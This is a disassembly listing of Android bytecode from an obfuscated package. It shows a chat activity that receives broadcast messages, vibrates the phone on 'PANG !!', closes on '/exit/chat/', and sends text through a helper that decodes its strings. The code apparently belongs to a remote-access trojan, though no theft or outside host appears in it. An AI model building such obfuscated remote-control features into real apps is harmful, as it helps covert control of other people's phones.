000858b0invoke-interface {v3}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
000858b6move-result-object v3
000858b8invoke-virtual {v3}, Ljava/lang/String;->length()I
000858bemove-result v4
000858c0const-wide/16 v5, 0x4f
000858c4if-nez v4, :cond_36
000858c8new-instance v3, Ljava/lang/StringBuilder;
000858ccinvoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
000858d2sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000858d6invoke-static {v0, v1, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000858dcmove-result-object v4
000858deinvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000858e4sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000858e8invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000858eeconst-string v4, "write"
000858f2invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000858f8sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000858fcinvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085902const-string v4, "null"
00085906invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008590cinvoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085912move-result-object v3
00085914invoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
0008591agoto :goto_5b
0008591cnew-instance v4, Ljava/lang/StringBuilder;
00085920invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
00085926sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
0008592ainvoke-static {v0, v1, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085930move-result-object v5
00085932invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085938sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
0008593cinvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085942const-string v5, "write"
00085946invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008594csget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085950invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085956invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008595cinvoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085962move-result-object v3
00085964goto :goto_32
00085966return-void
000858a0
00085968
00085968cmf0.c3b5bm90zq.patch.C6$2::<init>(cmf0.c3b5bm90zq.patch.C6, android.widget.ScrollView):
00085978iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C6$2;->b:Lcmf0/c3b5bm90zq/patch/C6;
0008597ciput-object v2, v0, Lcmf0/c3b5bm90zq/patch/C6$2;->a:Landroid/widget/ScrollView;
00085980invoke-direct {v0}, Ljava/lang/Object;-><init>()V
00085986return-void
00085968
00085968cmf0.c3b5bm90zq.patch.C6$2::<init>(cmf0.c3b5bm90zq.patch.C6, android.widget.ScrollView):
00085978iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C6$2;->b:Lcmf0/c3b5bm90zq/patch/C6;
0008597ciput-object v2, v0, Lcmf0/c3b5bm90zq/patch/C6$2;->a:Landroid/widget/ScrollView;
00085980invoke-direct {v0}, Ljava/lang/Object;-><init>()V
00085986return-void
00085968
00085988
00085988cmf0.c3b5bm90zq.patch.C6$2::run():
00085998iget-object v0, v2, Lcmf0/c3b5bm90zq/patch/C6$2;->a:Landroid/widget/ScrollView;
0008599cconst/16 v1, 0x82
000859a0invoke-virtual {v0, v1}, Landroid/widget/ScrollView;->fullScroll(I)Z
000859a6return-void
00085988
00085988cmf0.c3b5bm90zq.patch.C6$2::run():
00085998iget-object v0, v2, Lcmf0/c3b5bm90zq/patch/C6$2;->a:Landroid/widget/ScrollView;
0008599cconst/16 v1, 0x82
000859a0invoke-virtual {v0, v1}, Landroid/widget/ScrollView;->fullScroll(I)Z
000859a6return-void
00085988
000859a8
000859a8cmf0.c3b5bm90zq.patch.C6$3::<init>(cmf0.c3b5bm90zq.patch.C6):
000859b8iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
000859bcinvoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
000859c2return-void
000859a8
000859a8cmf0.c3b5bm90zq.patch.C6$3::<init>(cmf0.c3b5bm90zq.patch.C6):
000859b8iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
000859bcinvoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
000859c2return-void
000859a8
000859c4
000859c4cmf0.c3b5bm90zq.patch.C6$3::onReceive(android.content.Context, android.content.Intent):
000859d4invoke-virtual {v9}, Landroid/content/Intent;->getAction()Ljava/lang/String;
000859damove-result-object v8
000859dcsget-object v0, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
000859e0invoke-virtual {v8, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
000859e6move-result v8
000859e8if-eqz v8, :cond_fb
000859ecsget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000859f0const-wide/16 v2, 0x5c
000859f4invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000859famove-result-object v8
000859fcinvoke-virtual {v9, v8}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
00085a02move-result-object v8
00085a04new-instance v9, Landroid/text/SpannableString;
00085a08new-instance v0, Ljava/lang/StringBuilder;
00085a0cinvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
00085a12sget-object v1, Lcmf0/c3b5bm90zq/patch/C6;->a:Ljava/lang/String;
00085a16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085a1cconst-string v1, ": "
00085a20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085a26invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085a2cmove-result-object v0
00085a2einvoke-direct {v9, v0}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
00085a34new-instance v0, Landroid/text/style/ForegroundColorSpan;
00085a38const/16 v1, 0xfc
00085a3cconst/16 v2, 0xc8
00085a40const/16 v3, 0x86
00085a44const/16 v4, 0xff
00085a48invoke-static {v4, v1, v2, v3}, Landroid/graphics/Color;->argb(IIII)I
00085a4emove-result v1
00085a50invoke-direct {v0, v1}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
00085a56invoke-interface {v9}, Landroid/text/Spannable;->length()I
00085a5cmove-result v1
00085a5econst/16 v2, 0x21
00085a62const/4 v3, 0x0
00085a64invoke-interface {v9, v0, v3, v1, v2}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
00085a6aiget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085a6einvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
00085a74move-result-object v0
00085a76invoke-virtual {v0, v9}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085a7cconst-string v9, "PANG !!"
00085a80invoke-virtual {v8, v9}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
00085a86move-result v9
00085a88if-eqz v9, :cond_89
00085a8cconst-string v9, "!!"
00085a90invoke-virtual {v8, v9}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
00085a96move-result v9
00085a98if-eqz v9, :cond_89
00085a9cnew-instance v9, Landroid/text/SpannableString;
00085aa0invoke-direct {v9, v8}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
00085aa6new-instance v0, Landroid/text/style/ForegroundColorSpan;
00085aaaconst/16 v1, 0xf9
00085aaeconst/16 v5, 0xf
00085ab2const/16 v6, 0x9
00085ab6invoke-static {v4, v1, v5, v6}, Landroid/graphics/Color;->argb(IIII)I
00085abcmove-result v1
00085abeinvoke-direct {v0, v1}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
00085ac4invoke-interface {v9}, Landroid/text/Spannable;->length()I
00085acamove-result v1
00085accinvoke-interface {v9, v0, v3, v1, v2}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
00085ad2iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085ad6invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
00085adcmove-result-object v0
00085adeinvoke-virtual {v0, v9}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085ae4goto :goto_92
00085ae6iget-object v9, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085aeainvoke-static {v9}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
00085af0move-result-object v9
00085af2invoke-virtual {v9, v8}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085af8iget-object v9, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085afcinvoke-static {v9}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
00085b02move-result-object v9
00085b04const-string v0, "\n"
00085b08invoke-virtual {v9, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085b0eiget-object v9, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b12invoke-static {v9}, Lcmf0/c3b5bm90zq/patch/C6;->b(Lcmf0/c3b5bm90zq/patch/C6;)V
00085b18const-string v9, "/exit/chat/"
00085b1cinvoke-virtual {v8, v9}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
00085b22move-result v9
00085b24if-eqz v9, :cond_c6
00085b28iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b2cconst/4 v9, 0x1
00085b2einvoke-static {v8, v9}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;Z)Z
00085b34iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b38invoke-static {v8}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
00085b3emove-result-object v8
00085b40const-string v9, ""
00085b44invoke-virtual {v8, v9}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
00085b4aiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b4einvoke-virtual {v8}, Lcmf0/c3b5bm90zq/patch/C6;->finish()V
00085b54iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b58invoke-virtual {v8}, Lcmf0/c3b5bm90zq/patch/C6;->onBackPressed()V
00085b5egoto :goto_fb
00085b60const-string v9, "PANG !!"
00085b64invoke-virtual {v8, v9}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
00085b6amove-result v9
00085b6cif-eqz v9, :cond_fb
00085b70const-string v9, "!!"
00085b74invoke-virtual {v8, v9}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
00085b7amove-result v8
00085b7cif-eqz v8, :cond_fb
00085b80sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
00085b84const/16 v9, 0xb
00085b88if-lt v8, v9, :cond_fb
00085b8ciget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b90invoke-virtual {v8}, Lcmf0/c3b5bm90zq/patch/C6;->getApplicationContext()Landroid/content/Context;
00085b96move-result-object v8
00085b98const-string v9, "vibrator"
00085b9cinvoke-virtual {v8, v9}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
00085ba2move-result-object v8
00085ba4check-cast v8, Landroid/os/Vibrator;
00085ba8invoke-virtual {v8}, Landroid/os/Vibrator;->hasVibrator()Z
00085baemove-result v9
00085bb0if-eqz v9, :cond_fb
00085bb4const/16 v9, 0xc
00085bb8new-array v9, v9, [J
00085bbcfill-array-data v9, :array_fc
00085bc2const/4 v0, -0x1
00085bc4invoke-virtual {v8, v9, v0}, Landroid/os/Vibrator;->vibrate([JI)V
00085bcareturn-void
00085bcc.array-data 8
000859c4
000859c4cmf0.c3b5bm90zq.patch.C6$3::onReceive(android.content.Context, android.content.Intent):
000859d4invoke-virtual {v9}, Landroid/content/Intent;->getAction()Ljava/lang/String;
000859damove-result-object v8
000859dcsget-object v0, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
000859e0invoke-virtual {v8, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
000859e6move-result v8
000859e8if-eqz v8, :cond_fb
000859ecsget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000859f0const-wide/16 v2, 0x5c
000859f4invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000859famove-result-object v8
000859fcinvoke-virtual {v9, v8}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
00085a02move-result-object v8
00085a04new-instance v9, Landroid/text/SpannableString;
00085a08new-instance v0, Ljava/lang/StringBuilder;
00085a0cinvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
00085a12sget-object v1, Lcmf0/c3b5bm90zq/patch/C6;->a:Ljava/lang/String;
00085a16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085a1cconst-string v1, ": "
00085a20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085a26invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085a2cmove-result-object v0
00085a2einvoke-direct {v9, v0}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
00085a34new-instance v0, Landroid/text/style/ForegroundColorSpan;
00085a38const/16 v1, 0xfc
00085a3cconst/16 v2, 0xc8
00085a40const/16 v3, 0x86
00085a44const/16 v4, 0xff
00085a48invoke-static {v4, v1, v2, v3}, Landroid/graphics/Color;->argb(IIII)I
00085a4emove-result v1
00085a50invoke-direct {v0, v1}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
00085a56invoke-interface {v9}, Landroid/text/Spannable;->length()I
00085a5cmove-result v1
00085a5econst/16 v2, 0x21
00085a62const/4 v3, 0x0
00085a64invoke-interface {v9, v0, v3, v1, v2}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
00085a6aiget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085a6einvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
00085a74move-result-object v0
00085a76invoke-virtual {v0, v9}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085a7cconst-string v9, "PANG !!"
00085a80invoke-virtual {v8, v9}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
00085a86move-result v9
00085a88if-eqz v9, :cond_89
00085a8cconst-string v9, "!!"
00085a90invoke-virtual {v8, v9}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
00085a96move-result v9
00085a98if-eqz v9, :cond_89
00085a9cnew-instance v9, Landroid/text/SpannableString;
00085aa0invoke-direct {v9, v8}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
00085aa6new-instance v0, Landroid/text/style/ForegroundColorSpan;
00085aaaconst/16 v1, 0xf9
00085aaeconst/16 v5, 0xf
00085ab2const/16 v6, 0x9
00085ab6invoke-static {v4, v1, v5, v6}, Landroid/graphics/Color;->argb(IIII)I
00085abcmove-result v1
00085abeinvoke-direct {v0, v1}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
00085ac4invoke-interface {v9}, Landroid/text/Spannable;->length()I
00085acamove-result v1
00085accinvoke-interface {v9, v0, v3, v1, v2}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
00085ad2iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085ad6invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
00085adcmove-result-object v0
00085adeinvoke-virtual {v0, v9}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085ae4goto :goto_92
00085ae6iget-object v9, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085aeainvoke-static {v9}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
00085af0move-result-object v9
00085af2invoke-virtual {v9, v8}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085af8iget-object v9, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085afcinvoke-static {v9}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
00085b02move-result-object v9
00085b04const-string v0, "\n"
00085b08invoke-virtual {v9, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085b0eiget-object v9, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b12invoke-static {v9}, Lcmf0/c3b5bm90zq/patch/C6;->b(Lcmf0/c3b5bm90zq/patch/C6;)V
00085b18const-string v9, "/exit/chat/"
00085b1cinvoke-virtual {v8, v9}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
00085b22move-result v9
00085b24if-eqz v9, :cond_c6
00085b28iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b2cconst/4 v9, 0x1
00085b2einvoke-static {v8, v9}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;Z)Z
00085b34iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b38invoke-static {v8}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
00085b3emove-result-object v8
00085b40const-string v9, ""
00085b44invoke-virtual {v8, v9}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
00085b4aiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b4einvoke-virtual {v8}, Lcmf0/c3b5bm90zq/patch/C6;->finish()V
00085b54iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b58invoke-virtual {v8}, Lcmf0/c3b5bm90zq/patch/C6;->onBackPressed()V
00085b5egoto :goto_fb
00085b60const-string v9, "PANG !!"
00085b64invoke-virtual {v8, v9}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
00085b6amove-result v9
00085b6cif-eqz v9, :cond_fb
00085b70const-string v9, "!!"
00085b74invoke-virtual {v8, v9}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
00085b7amove-result v8
00085b7cif-eqz v8, :cond_fb
00085b80sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
00085b84const/16 v9, 0xb
00085b88if-lt v8, v9, :cond_fb
00085b8ciget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
00085b90invoke-virtual {v8}, Lcmf0/c3b5bm90zq/patch/C6;->getApplicationContext()Landroid/content/Context;
00085b96move-result-object v8
00085b98const-string v9, "vibrator"
00085b9cinvoke-virtual {v8, v9}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
00085ba2move-result-object v8
00085ba4check-cast v8, Landroid/os/Vibrator;
00085ba8invoke-virtual {v8}, Landroid/os/Vibrator;->hasVibrator()Z
00085baemove-result v9
00085bb0if-eqz v9, :cond_fb
00085bb4const/16 v9, 0xc
00085bb8new-array v9, v9, [J
00085bbcfill-array-data v9, :array_fc
00085bc2const/4 v0, -0x1
00085bc4invoke-virtual {v8, v9, v0}, Landroid/os/Vibrator;->vibrate([JI)V
00085bcareturn-void
00085bcc.array-data 8
000859c4
00085c34
00085c34cmf0.c3b5bm90zq.patch.C6::<clinit>():
00085c44return-void
00085c34
00085c34cmf0.c3b5bm90zq.patch.C6::<clinit>():
00085c44return-void
00085c34
00085c46
00085c46 // align 0x8
00085c46 // align 0x8
00085c48
00085c48cmf0.c3b5bm90zq.patch.C6::<init>():
00085c58invoke-direct {v1}, Landroid/app/Activity;-><init>()V
00085c5enew-instance v0, Lcmf0/c3b5bm90zq/patch/C6$3;
00085c62invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C6$3;-><init>(Lcmf0/c3b5bm90zq/patch/C6;)V
00085c68iput-object v0, v1, Lcmf0/c3b5bm90zq/patch/C6;->h:Landroid/content/BroadcastReceiver;
00085c6cconst/4 v0, 0x0
00085c6eiput-boolean v0, v1, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
00085c72return-void
00085c48
00085c48cmf0.c3b5bm90zq.patch.C6::<init>():
00085c58invoke-direct {v1}, Landroid/app/Activity;-><init>()V
00085c5enew-instance v0, Lcmf0/c3b5bm90zq/patch/C6$3;
00085c62invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C6$3;-><init>(Lcmf0/c3b5bm90zq/patch/C6;)V
00085c68iput-object v0, v1, Lcmf0/c3b5bm90zq/patch/C6;->h:Landroid/content/BroadcastReceiver;
00085c6cconst/4 v0, 0x0
00085c6eiput-boolean v0, v1, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
00085c72return-void
00085c48
00085c74
00085c74cmf0.c3b5bm90zq.patch.C6::a(cmf0.c3b5bm90zq.patch.C6):
00085c84iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
00085c88return-object v0
00085c74
00085c74cmf0.c3b5bm90zq.patch.C6::a(cmf0.c3b5bm90zq.patch.C6):
00085c84iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
00085c88return-object v0
00085c74
00085c8a
00085c8a // align 0x4
00085c8a // align 0x4
00085c8c
00085c8ccmf0.c3b5bm90zq.patch.C6::a():
00085c9cconst v0, 0x7f07004c
00085ca2invoke-virtual {v2, v0}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
00085ca8move-result-object v0
00085caacheck-cast v0, Landroid/widget/ScrollView;
00085caenew-instance v1, Lcmf0/c3b5bm90zq/patch/C6$2;
00085cb2invoke-direct {v1, v2, v0}, Lcmf0/c3b5bm90zq/patch/C6$2;-><init>(Lcmf0/c3b5bm90zq/patch/C6;Landroid/widget/ScrollView;)V
00085cb8invoke-virtual {v0, v1}, Landroid/widget/ScrollView;->post(Ljava/lang/Runnable;)Z
00085cbereturn-void
00085c8c
00085c8ccmf0.c3b5bm90zq.patch.C6::a():
00085c9cconst v0, 0x7f07004c
00085ca2invoke-virtual {v2, v0}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
00085ca8move-result-object v0
00085caacheck-cast v0, Landroid/widget/ScrollView;
00085caenew-instance v1, Lcmf0/c3b5bm90zq/patch/C6$2;
00085cb2invoke-direct {v1, v2, v0}, Lcmf0/c3b5bm90zq/patch/C6$2;-><init>(Lcmf0/c3b5bm90zq/patch/C6;Landroid/widget/ScrollView;)V
00085cb8invoke-virtual {v0, v1}, Landroid/widget/ScrollView;->post(Ljava/lang/Runnable;)Z
00085cbereturn-void
00085c8c
00085cc0
00085cc0cmf0.c3b5bm90zq.patch.C6::a(cmf0.c3b5bm90zq.patch.C6, boolean):
00085cd0iput-boolean v1, v0, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
00085cd4return v1
00085cc0
00085cc0cmf0.c3b5bm90zq.patch.C6::a(cmf0.c3b5bm90zq.patch.C6, boolean):
00085cd0iput-boolean v1, v0, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
00085cd4return v1
00085cc0
00085cd6
00085cd6 // align 0x8
00085cd6 // align 0x8
00085cd8
00085cd8cmf0.c3b5bm90zq.patch.C6::b(cmf0.c3b5bm90zq.patch.C6):
00085ce8invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C6;->a()V
00085ceereturn-void
00085cd8
00085cd8cmf0.c3b5bm90zq.patch.C6::b(cmf0.c3b5bm90zq.patch.C6):
00085ce8invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C6;->a()V
00085ceereturn-void
00085cd8
00085cf0
00085cf0cmf0.c3b5bm90zq.patch.C6::add(android.view.View):
00085d00iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00085d04invoke-virtual {v7}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
00085d0amove-result-object v7
00085d0cinvoke-virtual {v7}, Ljava/lang/Object;->toString()Ljava/lang/String;
00085d12move-result-object v7
00085d14invoke-virtual {v7}, Ljava/lang/String;->trim()Ljava/lang/String;
00085d1amove-result-object v0
00085d1cconst-string v1, ""
00085d20invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085d26move-result v0
00085d28if-eqz v0, :cond_17
00085d2creturn-void
00085d2enew-instance v0, Ljava/lang/StringBuilder;
00085d32invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
00085d38sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00085d3cconst-wide/16 v3, 0x4f
00085d40invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085d46move-result-object v1
00085d48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085d4esget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085d52invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085d58const-string v1, "Client:"
00085d5cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085d62sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085d66invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085d6cinvoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085d72invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085d78move-result-object v0
00085d7ainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00085d80const-string v0, "Me: "
00085d84new-instance v1, Landroid/text/SpannableString;
00085d88invoke-direct {v1, v0}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
00085d8enew-instance v0, Landroid/text/style/ForegroundColorSpan;
00085d92const/16 v2, 0xff
00085d96const/4 v3, 0x1
00085d98const/16 v4, 0xae
00085d9cconst/16 v5, 0xf0
00085da0invoke-static {v2, v3, v4, v5}, Landroid/graphics/Color;->argb(IIII)I
00085da6move-result v2
00085da8invoke-direct {v0, v2}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
00085daeconst/4 v2, 0x0
00085db0invoke-interface {v1}, Landroid/text/Spannable;->length()I
00085db6move-result v3
00085db8const/16 v4, 0x21
00085dbcinvoke-interface {v1, v0, v2, v3, v4}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
00085dc2iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
00085dc6invoke-virtual {v0, v1}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085dcciget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
